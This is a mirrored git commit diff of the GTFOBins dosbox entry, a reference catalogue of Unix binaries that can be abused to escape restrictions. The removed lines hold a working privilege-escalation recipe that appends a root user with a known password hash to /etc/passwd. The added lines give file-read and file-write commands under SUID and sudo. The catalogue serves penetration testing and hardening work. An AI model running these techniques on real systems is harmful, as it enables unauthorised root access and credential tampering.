mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Generalize dosbox
This commit is contained in:
parent
4a058f88e1
commit
a846a16993
@ -1,10 +1,29 @@
|
|||||||
---
|
---
|
||||||
|
description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
|
||||||
functions:
|
functions:
|
||||||
SUID:
|
file-read:
|
||||||
- description: Please change username to whatever you want and passwod is `toor`.
|
- description: The file content will be displayed in the DOSBox graphical window.
|
||||||
code: |
|
code: |
|
||||||
cp /etc/passwd /tmp/passwd
|
LFILE='\path\to\file_to_read'
|
||||||
echo "idealphase:sXuCKi7k3Xh/s:0:0::/root:/bin/bash" >> /tmp/passwd
|
dosbox -c 'mount c /' -c "type c:$LFILE"
|
||||||
/usr/bin/dosbox -c "mount c /etc/" -c "mount d /tmp/" -c "d:" -c "copy passwd c:"
|
- description: The file is copied to a readable location.
|
||||||
su idealphase
|
code: |
|
||||||
|
LFILE='\path\to\file_to_read'
|
||||||
|
dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
|
||||||
|
cat '/tmp/OUTPUT'
|
||||||
|
file-write:
|
||||||
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||||
|
code: |
|
||||||
|
LFILE='\path\to\file_to_write'
|
||||||
|
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||||
|
suid:
|
||||||
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||||
|
code: |
|
||||||
|
LFILE='\path\to\file_to_write'
|
||||||
|
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||||
|
sudo:
|
||||||
|
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
|
||||||
|
code: |
|
||||||
|
LFILE='\path\to\file_to_write'
|
||||||
|
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user